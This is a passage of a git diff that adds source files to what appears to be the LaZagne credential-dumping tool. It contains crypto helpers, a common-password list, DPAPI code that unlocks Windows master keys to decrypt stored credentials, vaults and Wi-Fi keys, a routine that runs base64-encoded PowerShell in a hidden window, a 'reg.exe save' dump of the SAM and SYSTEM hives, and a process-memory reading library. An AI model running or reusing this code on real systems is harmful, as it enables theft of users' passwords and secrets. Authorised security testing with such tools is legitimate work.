PADDING_NONE: + if len(data) != 16: + raise Exception('invalid data length for final block') + else: + raise Exception('invalid padding option') + + if len(data) == 32: + return self.encrypt(data[:16]) + self.encrypt(data[16:]) + + return self.encrypt(data) + + +def _block_final_decrypt(self, data, padding = PADDING_DEFAULT): + if padding == PADDING_DEFAULT: + return strip_PKCS7_padding(self.decrypt(data)) + + if padding == PADDING_NONE: + if len(data) != 16: + raise Exception('invalid data length for final block') + return self.decrypt(data) + + raise Exception('invalid padding option') + +AESBlockModeOfOperation._can_consume = _block_can_consume +AESBlockModeOfOperation._final_encrypt = _block_final_encrypt +AESBlockModeOfOperation._final_decrypt = _block_final_decrypt + + + +# CFB is a segment cipher + +def _segment_can_consume(self, size): + return self.segment_bytes * int(size // self.segment_bytes) + +# CFB can handle a non-segment-sized block at the end using the remaining cipherblock +def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT): + if padding != PADDING_DEFAULT: + raise Exception('invalid padding option') + + faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) + padded = data + to_bufferable(faux_padding) + return self.encrypt(padded)[:len(data)] + +# CFB can handle a non-segment-sized block at the end using the remaining cipherblock +def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT): + if padding != PADDING_DEFAULT: + raise Exception('invalid padding option') + + faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) + padded = data + to_bufferable(faux_padding) + return self.decrypt(padded)[:len(data)] + +AESSegmentModeOfOperation._can_consume = _segment_can_consume +AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt +AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt + + + +# OFB and CTR are stream ciphers + +def _stream_can_consume(self, size): + return size + +def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT): + if padding not in [PADDING_NONE, PADDING_DEFAULT]: + raise Exception('invalid padding option') + + return self.encrypt(data) + +def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT): + if padding not in [PADDING_NONE, PADDING_DEFAULT]: + raise Exception('invalid padding option') + + return self.decrypt(data) + +AESStreamModeOfOperation._can_consume = _stream_can_consume +AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt +AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt + + + +class BlockFeeder(object): + '''The super-class for objects to handle chunking a stream of bytes + into the appropriate block size for the underlying mode of operation + and applying (or stripping) padding, as necessary.''' + + def __init__(self, mode, feed, final, padding = PADDING_DEFAULT): + self._mode = mode + self._feed = feed + self._final = final + self._buffer = to_bufferable("") + self._padding = padding + + def feed(self, data = None): + '''Provide bytes to encrypt (or decrypt), returning any bytes + possible from this or any previous calls to feed. + + Call with None or an empty string to flush the mode of + operation and return any final bytes; no further calls to + feed may be made.''' + + if self._buffer is None: + raise ValueError('already finished feeder') + + # Finalize; process the spare bytes we were keeping + if data is None: + result = self._final(self._buffer, self._padding) + self._buffer = None + return result + + self._buffer += to_bufferable(data) + + # We keep 16 bytes around so we can determine padding + result = to_bufferable('') + while len(self._buffer) > 16: + can_consume = self._mode._can_consume(len(self._buffer) - 16) + if can_consume == 0: break + result += self._feed(self._buffer[:can_consume]) + self._buffer = self._buffer[can_consume:] + + return result + + +class Encrypter(BlockFeeder): + 'Accepts bytes of plaintext and returns encrypted ciphertext.' + + def __init__(self, mode, padding = PADDING_DEFAULT): + BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding) + + +class Decrypter(BlockFeeder): + 'Accepts bytes of ciphertext and returns decrypted plaintext.' + + def __init__(self, mode, padding = PADDING_DEFAULT): + BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding) + + +# 8kb blocks +BLOCK_SIZE = (1 << 13) + +def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE): + 'Uses feeder to read and convert from in_stream and write to out_stream.' + + while True: + chunk = in_stream.read(block_size) + if not chunk: + break + converted = feeder.feed(chunk) + out_stream.write(converted) + converted = feeder.feed() + out_stream.write(converted) + + +def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): + 'Encrypts a stream of bytes from in_stream to out_stream using mode.' + + encrypter = Encrypter(mode, padding = padding) + _feed_stream(encrypter, in_stream, out_stream, block_size) + + +def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): + 'Decrypts a stream of bytes from in_stream to out_stream using mode.' + + decrypter = Decrypter(mode, padding = padding) + _feed_stream(decrypter, in_stream, out_stream, block_size) diff --git a/lazagne/config/crypto/pyaes/util.py b/lazagne/config/crypto/pyaes/util.py new file mode 100644 index 0000000..daf6ad8 --- /dev/null +++ b/lazagne/config/crypto/pyaes/util.py @@ -0,0 +1,60 @@ +# The MIT License (MIT) +# +# Copyright (c) 2014 Richard Moore +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +# Why to_bufferable? +# Python 3 is very different from Python 2.x when it comes to strings of text +# and strings of bytes; in Python 3, strings of bytes do not exist, instead to +# represent arbitrary binary data, we must use the "bytes" object. This method +# ensures the object behaves as we need it to. + +def to_bufferable(binary): + return binary + +def _get_byte(c): + return ord(c) + +try: + xrange +except NameError: + + def to_bufferable(binary): + if isinstance(binary, bytes): + return binary + return bytes(ord(b) for b in binary) + + def _get_byte(c): + return c + +def append_PKCS7_padding(data): + pad = 16 - (len(data) % 16) + return data + to_bufferable(chr(pad) * pad) + +def strip_PKCS7_padding(data): + if len(data) % 16 != 0: + raise ValueError("invalid length") + + pad = _get_byte(data[-1]) + + if pad > 16: + raise ValueError("invalid padding byte") + + return data[:-pad] diff --git a/lazagne/config/crypto/rc4.py b/lazagne/config/crypto/rc4.py new file mode 100644 index 0000000..9014dee --- /dev/null +++ b/lazagne/config/crypto/rc4.py @@ -0,0 +1,57 @@ +# Thanks to g2jun for his RC4-Python project +# Code from https://github.com/g2jun/RC4-Python + +from lazagne.config.winstructure import char_to_int, chr_or_byte + + +class RC4(object): + + def __init__(self, key): + self.key_bytes = self.text_to_bytes(key) + + def text_to_bytes(self, text): + byte_list = [] + + # on Windows, default coding for Chinese is GBK + # s = s.decode('gbk').encode('utf-8') + for byte in text: + byte_list.append(char_to_int(byte)) + + return byte_list + + def bytes_to_text(self, byte_list): + s = b'' + for byte in byte_list: + s += chr_or_byte(byte) + return s + + def encrypt(self, data): + plain_bytes = self.text_to_bytes(data) + keystream_bytes, cipher_bytes = self.crypt(plain_bytes, self.key_bytes) + return self.bytes_to_text(cipher_bytes) + + def crypt(self, plain_bytes, key_bytes): + + keystream_list = [] + cipher_list = [] + + key_len = len(key_bytes) + plain_len = len(plain_bytes) + S = list(range(256)) + + j = 0 + for i in range(256): + j = (j + S[i] + key_bytes[i % key_len]) % 256 + S[i], S[j] = S[j], S[i] + + i = 0 + j = 0 + for m in range(plain_len): + i = (i + 1) % 256 + j = (j + S[i]) % 256 + S[i], S[j] = S[j], S[i] + k = S[(S[i] + S[j]) % 256] + keystream_list.append(k) + cipher_list.append(k ^ plain_bytes[m]) + + return keystream_list, cipher_list \ No newline at end of file diff --git a/lazagne/config/dico.py b/lazagne/config/dico.py new file mode 100644 index 0000000..1269738 --- /dev/null +++ b/lazagne/config/dico.py @@ -0,0 +1,503 @@ +def get_dic(): + return [ + b"password", + b"123456", + b"12345678", + b"1234", + b"qwerty", + b"12345", + b"dragon", + b"pussy", + b"baseball", + b"football", + b"letmein", + b"monkey", + b"696969", + b"abc123", + b"mustang", + b"michael", + b"shadow", + b"master", + b"jennifer", + b"111111", + b"2000", + b"jordan", + b"superman", + b"harley", + b"1234567", + b"fuckme", + b"hunter", + b"fuckyob", + b"trustno1", + b"ranger", + b"buster", + b"thomas", + b"tigger", + b"robert", + b"soccer", + b"fuck", + b"batman", + b"test", + b"pass", + b"killer", + b"hockey", + b"george", + b"charlie", + b"andrew", + b"michelle", + b"love", + b"sunshine", + b"jessica", + b"asshole", + b"6969", + b"pepper", + b"daniel", + b"access", + b"123456789", + b"654321", + b"joshua", + b"maggie", + b"starwars", + b"silver", + b"william", + b"dallas", + b"yankees", + b"123123", + b"ashley", + b"666666", + b"hello", + b"amanda", + b"orange", + b"biteme", + b"freedom", + b"computer", + b"sexy", + b"thunder", + b"nicole", + b"ginger", + b"heather", + b"hammer", + b"summer", + b"corvette", + b"taylor", + b"fucker", + b"austin", + b"1111", + b"merlin", + b"matthew", + b"121212", + b"golfer", + b"cheese", + b"princess", + b"martin", + b"chelsea", + b"patrick", + b"richard", + b"diamond", + b"yellow", + b"bigdog", + b"secret", + b"asdfgh", + b"sparky", + b"cowboy", + b"camaro", + b"anthony", + b"matrix", + b"falcon", + b"iloveyob", + b"bailey", + b"guitar", + b"jackson", + b"purple", + b"scooter", + b"phoenix", + b"aaaaaa", + b"morgan", + b"tigers", + b"porsche", + b"mickey", + b"maverick", + b"cookie", + b"nascar", + b"peanut", + b"justin", + b"131313", + b"money", + b"horny", + b"samantha", + b"panties", + b"steelers", + b"joseph", + b"snoopy", + b"boomer", + b"whatever", + b"iceman", + b"smokey", + b"gateway", + b"dakota", + b"cowboys", + b"eagles", + b"chicken", + b"dick", + b"black", + b"zxcvbn", + b"please", + b"andrea", + b"ferrari", + b"knight", + b"hardcore", + b"melissa", + b"compaq", + b"coffee", + b"booboo", + b"bitch", + b"johnny", + b"bulldog", + b"xxxxxx", + b"welcome", + b"james", + b"player", + b"ncc1701", + b"wizard", + b"scooby", + b"charles", + b"junior", + b"internet", + b"bigdick", + b"mike", + b"brandy", + b"tennis", + b"blowjob", + b"banana", + b"monster", + b"spider", + b"lakers", + b"miller", + b"rabbit", + b"enter", + b"mercedes", + b"brandon", + b"steven", + b"fender", + b"john", + b"yamaha", + b"diablo", + b"chris", + b"boston", + b"tiger", + b"marine", + b"chicago", + b"rangers", + b"gandalf", + b"winter", + b"bigtits", + b"barney", + b"edward", + b"raiders", + b"porn", + b"badboy", + b"blowme", + b"spanky", + b"bigdaddy", + b"johnson", + b"chester", + b"london", + b"midnight", + b"blue", + b"fishing", + b"000000", + b"hannah", + b"slayer", + b"11111111", + b"rachel", + b"sexsex", + b"redsox", + b"thx1138", + b"asdf", + b"marlboro", + b"panther", + b"zxcvbnm", + b"arsenal", + b"oliver", + b"qazwsx", + b"mother", + b"victoria", + b"7777777", + b"jasper", + b"angel", + b"david", + b"winner", + b"crystal", + b"golden", + b"butthead", + b"viking", + b"jack", + b"iwantb", + b"shannon", + b"murphy", + b"angels", + b"prince", + b"cameron", + b"girls", + b"madison", + b"wilson", + b"carlos", + b"hooters", + b"willie", + b"startrek", + b"captain", + b"maddog", + b"jasmine", + b"butter", + b"booger", + b"angela", + b"golf", + b"lauren", + b"rocket", + b"tiffany", + b"theman", + b"dennis", + b"liverpoo", + b"flower", + b"forever", + b"green", + b"jackie", + b"muffin", + b"turtle", + b"sophie", + b"danielle", + b"redskins", + b"toyota", + b"jason", + b"sierra", + b"winston", + b"debbie", + b"giants", + b"packers", + b"newyork", + b"jeremy", + b"casper", + b"bubba", + b"112233", + b"sandra", + b"lovers", + b"mountain", + b"united", + b"cooper", + b"driver", + b"tucker", + b"helpme", + b"fucking", + b"pookie", + b"lucky", + b"maxwell", + b"8675309", + b"bear", + b"suckit", + b"gators", + b"5150", + b"222222", + b"shithead", + b"fuckoff", + b"jaguar", + b"monica", + b"fred", + b"happy", + b"hotdog", + b"tits", + b"gemini", + b"lover", + b"xxxxxxxx", + b"777777", + b"canada", + b"nathan", + b"victor", + b"florida", + b"88888888", + b"nicholas", + b"rosebud", + b"metallic", + b"doctor", + b"trouble", + b"success", + b"stupid", + b"tomcat", + b"warrior", + b"peaches", + b"apples", + b"fish", + b"qwertyui", + b"magic", + b"buddy", + b"dolphins", + b"rainbow", + b"gunner", + b"987654", + b"freddy", + b"alexis", + b"braves", + b"cock", + b"2112", + b"1212", + b"cocacola", + b"xavier", + b"dolphin", + b"testing", + b"bond007", + b"member", + b"calvin", + b"voodoo", + b"7777", + b"samson", + b"alex", + b"apollo", + b"fire", + b"tester", + b"walter", + b"beavis", + b"voyager", + b"peter", + b"porno", + b"bonnie", + b"rush2112", + b"beer", + b"apple", + b"scorpio", + b"jonathan", + b"skippy", + b"sydney", + b"scott", + b"red123", + b"power", + b"gordon", + b"travis", + b"beaver", + b"star", + b"jackass", + b"flyers", + b"boobs", + b"232323", + b"zzzzzz", + b"steve", + b"rebecca", + b"scorpion", + b"doggie", + b"legend", + b"ou812", + b"yankee", + b"blazer", + b"bill", + b"runner", + b"birdie", + b"bitches", + b"555555", + b"parker", + b"topgun", + b"asdfasdf", + b"heaven", + b"viper", + b"animal", + b"2222", + b"bigboy", + b"4444", + b"arthur", + b"baby", + b"private", + b"godzilla", + b"donald", + b"williams", + b"lifehack", + b"phantom", + b"dave", + b"rock", + b"august", + b"sammy", + b"cool", + b"brian", + b"platinum", + b"jake", + b"bronco", + b"paul", + b"mark", + b"frank", + b"heka6w2", + b"copper", + b"billy", + b"cumshot", + b"garfield", + b"willow", + b"cunt", + b"little", + b"carter", + b"slut", + b"albert", + b"69696969", + b"kitten", + b"super", + b"jordan23", + b"eagle1", + b"shelby", + b"america", + b"11111", + b"jessie", + b"house", + b"free", + b"123321", + b"chevy", + b"bullshit", + b"white", + b"broncos", + b"horney", + b"surfer", + b"nissan", + b"999999", + b"saturn", + b"airborne", + b"elephant", + b"marvin", + b"shit", + b"action", + b"adidas", + b"qwert", + b"kevin", + b"1313", + b"explorer", + b"walker", + b"police", + b"christin", + b"december", + b"benjamin", + b"wolf", + b"sweet", + b"therock", + b"king", + b"online", + b"dickhead", + b"brooklyn", + b"teresa", + b"cricket", + b"sharon", + b"dexter", + b"racing", + b"penis", + b"gregory", + b"0000", + b"teens", + b"redwings", + b"dreams", + b"michigan", + b"hentai", + b"magnum", + b"87654321", + b"nothing", + b"donkey", + b"trinity", + b"digital", + b"333333", + b"stella", + b"cartman", + b"guinness", + b"123abc", + b"speedy", + b"buffalo", + b"kitty"] diff --git a/lazagne/config/dpapi_structure.py b/lazagne/config/dpapi_structure.py new file mode 100644 index 0000000..22602a5 --- /dev/null +++ b/lazagne/config/dpapi_structure.py @@ -0,0 +1,186 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +import codecs +import os + +from lazagne.config.DPAPI.masterkey import MasterKeyPool +from lazagne.config.DPAPI.credfile import CredFile +from lazagne.config.DPAPI.vault import Vault +from lazagne.config.DPAPI.blob import DPAPIBlob +from lazagne.config.write_output import print_debug +from lazagne.config.constant import constant +from lazagne.softwares.windows.lsa_secrets import LSASecrets + + +def are_masterkeys_retrieved(): + """ + Before running modules using DPAPI, we have to retrieve masterkeys + otherwise, we do not realize these checks + """ + current_user = constant.username + if constant.pypykatz_result.get(current_user, None): + password = constant.pypykatz_result[current_user].get('Password', None) + pwdhash = constant.pypykatz_result[current_user].get('Shahash', None) + + # Create one DPAPI object by user + constant.user_dpapi = UserDpapi(password=password, pwdhash=pwdhash) + + if not constant.user_dpapi or not constant.user_dpapi.unlocked: + # constant.user_password represents the password entered manually by the user + constant.user_dpapi = UserDpapi(password=constant.user_password) + + # Add username to check username equals passwords + constant.user_dpapi.check_credentials([constant.username] + constant.password_found) + + # Return True if at least one masterkey has been decrypted + return constant.user_dpapi.unlocked + + +def manage_response(ok, msg): + if ok: + return msg + else: + print_debug('DEBUG', u'{msg}'.format(msg=msg)) + return False + + +class UserDpapi(object): + """ + User class for DPAPI functions + """ + + def __init__(self, password=None, pwdhash=None): + self.sid = None + self.umkp = None + self.unlocked = False + + protect_folder = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect') + credhist_file = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Protect', u'CREDHIST') + + if os.path.exists(protect_folder): + for folder in os.listdir(protect_folder): + if folder.startswith('S-'): + self.sid = folder + break + + if self.sid: + masterkeydir = os.path.join(protect_folder, self.sid) + if os.path.exists(masterkeydir): + self.umkp = MasterKeyPool() + self.umkp.load_directory(masterkeydir) + self.umkp.add_credhist_file(sid=self.sid, credfile=credhist_file) + + if password: + for ok, r in self.umkp.try_credential(sid=self.sid, password=password): + if ok: + self.unlocked = True + print_debug('OK', r) + else: + print_debug('ERROR', r) + + elif pwdhash: + for ok, r in self.umkp.try_credential_hash(self.sid, pwdhash=codecs.decode(pwdhash, 'hex')): + if ok: + self.unlocked = True + print_debug('OK', r) + else: + print_debug('ERROR', r) + + def check_credentials(self, passwords): + if self.umkp: + for password in passwords: + for ok, r in self.umkp.try_credential(sid=self.sid, password=password): + if ok: + self.unlocked = True + print_debug('OK', r) + else: + print_debug('ERROR', r) + + def decrypt_blob(self, dpapi_blob): + """ + Decrypt DPAPI Blob + """ + if self.umkp: + blob = DPAPIBlob(dpapi_blob) + ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp) + return manage_response(ok, msg) + + def decrypt_cred(self, credfile): + """ + Decrypt Credential Files + """ + if self.umkp: + with open(credfile, 'rb') as f: + c = CredFile(f.read()) + ok, msg = c.decrypt(self.umkp, credfile) + return manage_response(ok, msg) + + def decrypt_vault(self, vaults_dir): + """ + Decrypt Vault Files + """ + if self.umkp: + v = Vault(vaults_dir=vaults_dir) + ok, msg = v.decrypt(mkp=self.umkp) + return manage_response(ok, msg) + + def decrypt_encrypted_blob(self, ciphered, entropy_hex=False): + """ + Decrypt encrypted blob + """ + if self.umkp: + blob = DPAPIBlob(ciphered) + ok, msg = blob.decrypt_encrypted_blob(mkp=self.umkp, entropy_hex=entropy_hex) + return manage_response(ok, msg) + + def get_dpapi_hash(self, context='local'): + """ + Retrieve DPAPI hash to bruteforce it using john or hashcat. + """ + if self.umkp: + return self.umkp.get_dpapi_hash(sid=self.sid, context=context) + + def get_cleartext_password(self): + """ + Retrieve cleartext password associated to the preferred user maskterkey. + This password should represent the windows user password. + """ + if self.umkp: + return self.umkp.get_cleartext_password() + + +class SystemDpapi(object): + """ + System class for DPAPI functions + Need to have high privilege + """ + + def __init__(self): + self.smkp = None + self.unlocked = False + + if not constant.lsa_secrets: + # Retrieve LSA secrets + LSASecrets().run() + + if constant.lsa_secrets: + masterkeydir = u'C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User' + if os.path.exists(masterkeydir): + self.smkp = MasterKeyPool() + self.smkp.load_directory(masterkeydir) + self.smkp.add_system_credential(constant.lsa_secrets[b'DPAPI_SYSTEM']) + for ok, r in self.smkp.try_system_credential(): + if ok: + print_debug('OK', r) + self.unlocked = True + else: + print_debug('ERROR', r) + + def decrypt_wifi_blob(self, key_material): + """ + Decrypt wifi password + """ + if self.smkp: + blob = DPAPIBlob(codecs.decode(key_material, 'hex')) + ok, msg = blob.decrypt_encrypted_blob(mkp=self.smkp) + return manage_response(ok, msg) diff --git a/lazagne/config/execute_cmd.py b/lazagne/config/execute_cmd.py new file mode 100644 index 0000000..18a461a --- /dev/null +++ b/lazagne/config/execute_cmd.py @@ -0,0 +1,100 @@ +# -*- coding: utf-8 -*- +# !/usr/bin/python +import base64 +import os +import subprocess +import re + +from lazagne.config.write_output import print_debug +from lazagne.config.constant import constant + +try: + import _subprocess as sub + STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3 + SW_HIDE = sub.SW_HIDE +except ImportError: + STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW + SW_HIDE = subprocess.SW_HIDE + + +def powershell_execute(script, func): + """ + Execute a powershell script + """ + output = "" + try: + script = re.sub("Write-Verbose ", "Write-Output ", script, flags=re.I) + script = re.sub("Write-Error ", "Write-Output ", script, flags=re.I) + script = re.sub("Write-Warning ", "Write-Output ", script, flags=re.I) + + full_args = ["powershell.exe", "-NoProfile", "-NoLogo", "-C", "-"] + + info = subprocess.STARTUPINFO() + info.dwFlags = STARTF_USESHOWWINDOW + info.wShowWindow = SW_HIDE + + p = subprocess.Popen(full_args, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, + stdout=subprocess.PIPE, universal_newlines=True, shell=True) + p.stdin.write("$base64=\"\"" + "\n") + + n = 25000 + b64_script = base64.b64encode(script) + tab = [b64_script[i:i + n] for i in range(0, len(b64_script), n)] + for t in tab: + p.stdin.write("$base64+=\"%s\"\n" % t) + p.stdin.flush() + + p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") + p.stdin.write("Invoke-Expression $d\n") + + p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % func) + p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") + p.stdin.write("Write-Host \"[BEGIN]\"\n") + p.stdin.write("Write-Host $b\n") + + # begin flag used to remove possible bullshit output print before the func is launched + if '[BEGIN]' in p.stdout.readline(): + # Get the result in base64 + for i in p.stdout.readline(): + output += i + output = base64.b64decode(output) + except Exception: + pass + + return output + + +def save_hives(): + """ + Save SAM Hives + """ + for h in constant.hives: + if not os.path.exists(constant.hives[h]): + try: + cmdline = 'reg.exe save hklm\%s %s' % (h, constant.hives[h]) + command = ['cmd.exe', '/c', cmdline] + info = subprocess.STARTUPINFO() + info.dwFlags = STARTF_USESHOWWINDOW + info.wShowWindow = SW_HIDE + p = subprocess.Popen(command, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, + stdout=subprocess.PIPE, universal_newlines=True) + results, _ = p.communicate() + except Exception as e: + print_debug('ERROR', u'Failed to save system hives: {error}'.format(error=e)) + return False + return True + + +def delete_hives(): + """ + Delete SAM Hives + """ + # Try to remove all temporary files + for h in constant.hives: + if os.path.exists(constant.hives[h]): + try: + os.remove(constant.hives[h]) + print_debug('DEBUG', u'Temp {hive} removed: {filename}'.format(hive=h, filename=constant.hives[h])) + except Exception: + print_debug('DEBUG', u'Temp {hive} failed to removed: {filename}'.format(hive=h, filename=constant.hives[h])) + diff --git a/lazagne/config/lib/__init__.py b/lazagne/config/lib/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/config/lib/memorpy/Address.py b/lazagne/config/lib/memorpy/Address.py new file mode 100644 index 0000000..c85ea6f --- /dev/null +++ b/lazagne/config/lib/memorpy/Address.py @@ -0,0 +1,111 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +from .utils import * + +class AddressException(Exception): + pass + + +class Address(object): + """ this class is used to have better representation of memory addresses """ + + def __init__(self, value, process, default_type = 'uint'): + self.value = int(value) + self.process = process + self.default_type = default_type + self.symbolic_name = None + + def read(self, type = None, maxlen = None, errors='raise'): + if maxlen is None: + try: + int(type) + maxlen = int(type) + type = None + except: + pass + + if not type: + type = self.default_type + if not maxlen: + return self.process.read(self.value, type=type, errors=errors) + else: + return self.process.read(self.value, type=type, maxlen=maxlen, errors=errors) + + def write(self, data, type = None): + if not type: + type = self.default_type + return self.process.write(self.value, data, type=type) + + def symbol(self): + return self.process.get_symbolic_name(self.value) + + def get_instruction(self): + return self.process.get_instruction(self.value) + + def dump(self, ftype = 'bytes', size = 512, before = 32): + buf = self.process.read_bytes(self.value - before, size) + print(hex_dump(buf, self.value - before, ftype=ftype)) + + def __nonzero__(self): + return self.value is not None and self.value != 0 + + def __add__(self, other): + return Address(self.value + int(other), self.process, self.default_type) + + def __sub__(self, other): + return Address(self.value - int(other), self.process, self.default_type) + + def __repr__(self): + if not self.symbolic_name: + self.symbolic_name = self.symbol() + return str('') + + def __str__(self): + if not self.symbolic_name: + self.symbolic_name = self.symbol() + return str('' % (str(self.read()).encode('unicode_escape'), self.default_type)) + + def __int__(self): + return int(self.value) + + def __hex__(self): + return hex(self.value) + + def __get__(self, instance, owner): + return self.value + + def __set__(self, instance, value): + self.value = int(value) + + def __lt__(self, other): + return self.value < int(other) + + def __le__(self, other): + return self.value <= int(other) + + def __eq__(self, other): + return self.value == int(other) + + def __ne__(self, other): + return self.value != int(other) + + def __gt__(self, other): + return self.value > int(other) + + def __ge__(self, other): + return self.value >= int(other) + diff --git a/lazagne/config/lib/memorpy/BaseProcess.py b/lazagne/config/lib/memorpy/BaseProcess.py new file mode 100644 index 0000000..8766b54 --- /dev/null +++ b/lazagne/config/lib/memorpy/BaseProcess.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +# -*- coding: UTF8 -*- + +import struct + +from .utils import * + + +""" Base class for process not linked to any platform """ + +class ProcessException(Exception): + pass + +class BaseProcess(object): + + def __init__(self, *args, **kwargs): + """ Create and Open a process object from its pid or from its name """ + self.h_process = None + self.pid = None + self.isProcessOpen = False + self.buffer = None + self.bufferlen = 0 + + def __del__(self): + self.close() + + def close(self): + pass + def iter_region(self, *args, **kwargs): + raise NotImplementedError + def write_bytes(self, address, data): + raise NotImplementedError + + def read_bytes(self, address, bytes = 4): + raise NotImplementedError + + def get_symbolic_name(self, address): + return '0x%08X' % int(address) + + def read(self, address, type = 'uint', maxlen = 50, errors='raise'): + if type == 's' or type == 'string': + s = self.read_bytes(int(address), bytes=maxlen) + + try: + idx = s.index(b'\x00') + return s[:idx] + except: + if errors == 'ignore': + return s + + raise ProcessException('string > maxlen') + + else: + if type == 'bytes' or type == 'b': + return self.read_bytes(int(address), bytes=maxlen) + s, l = type_unpack(type) + return struct.unpack(s, self.read_bytes(int(address), bytes=l))[0] + + def write(self, address, data, type = 'uint'): + if type != 'bytes': + s, l = type_unpack(type) + return self.write_bytes(int(address), struct.pack(s, data)) + else: + return self.write_bytes(int(address), data) + + diff --git a/lazagne/config/lib/memorpy/LinProcess.py b/lazagne/config/lib/memorpy/LinProcess.py new file mode 100644 index 0000000..6cde871 --- /dev/null +++ b/lazagne/config/lib/memorpy/LinProcess.py @@ -0,0 +1,296 @@ +# Author: Nicolas VERDIER +# This file is part of memorpy. +# +# memorpy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# memorpy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with memorpy. If not, see . + +import copy +import struct +# import utils +import platform +import ctypes, re, sys +from ctypes import create_string_buffer, byref, c_int, c_void_p, c_long, c_size_t, c_ssize_t, POINTER, get_errno +import errno +import os +import signal +from .BaseProcess import BaseProcess, ProcessException +from .structures import * +import logging + +logger = logging.getLogger('memorpy') + +libc=ctypes.CDLL("libc.so.6", use_errno=True) +get_errno_loc = libc.__errno_location +get_errno_loc.restype = POINTER(c_int) + +def errcheck(ret, func, args): + if ret == -1: + _errno = get_errno() or errno.EPERM + raise OSError(os.strerror(_errno)) + return ret + +c_ptrace = libc.ptrace +c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t +c_ptrace.argtypes = [c_int, c_pid_t, c_void_p, c_void_p] +c_ptrace.restype = c_long +mprotect = libc.mprotect +mprotect.restype = c_int +mprotect.argtypes = [c_void_p, c_size_t, c_int] +LARGE_FILE_SUPPORT=False +try: + c_off64_t=ctypes.c_longlong + lseek64 = libc.lseek64 + lseek64.argtypes = [c_int, c_off64_t, c_int] + lseek64.errcheck=errcheck + open64 = libc.open64 + open64.restype = c_int + open64.argtypes = [c_void_p, c_int] + open64.errcheck=errcheck + pread64=libc.pread64 + pread64.argtypes = [c_int, c_void_p, c_size_t, c_off64_t] + pread64.restype = c_ssize_t + pread64.errcheck=errcheck + c_close=libc.close + c_close.argtypes = [c_int] + c_close.restype = c_int + LARGE_FILE_SUPPORT=True +except: + logger.warning("no Large File Support") + +class LinProcess(BaseProcess): + def __init__(self, pid=None, name=None, debug=True, ptrace=None): + """ Create and Open a process object from its pid or from its name """ + super(LinProcess, self).__init__() + self.mem_file=None + self.ptrace_started=False + if pid is not None: + self.pid=pid + elif name is not None: + self.pid=LinProcess.pid_from_name(name) + else: + raise ValueError("You need to instanciate process with at least a name or a pid") + if ptrace is None: + if os.getuid()==0: + self.read_ptrace=False # no need to ptrace the process when root to read memory + else: + self.read_ptrace=True + self._open() + + def check_ptrace_scope(self): + """ check ptrace scope and raise an exception if privileges are unsufficient + + The sysctl settings (writable only with CAP_SYS_PTRACE) are: + + 0 - classic ptrace permissions: a process can PTRACE_ATTACH to any other + process running under the same uid, as long as it is dumpable (i.e. + did not transition uids, start privileged, or have called + prctl(PR_SET_DUMPABLE...) already). Similarly, 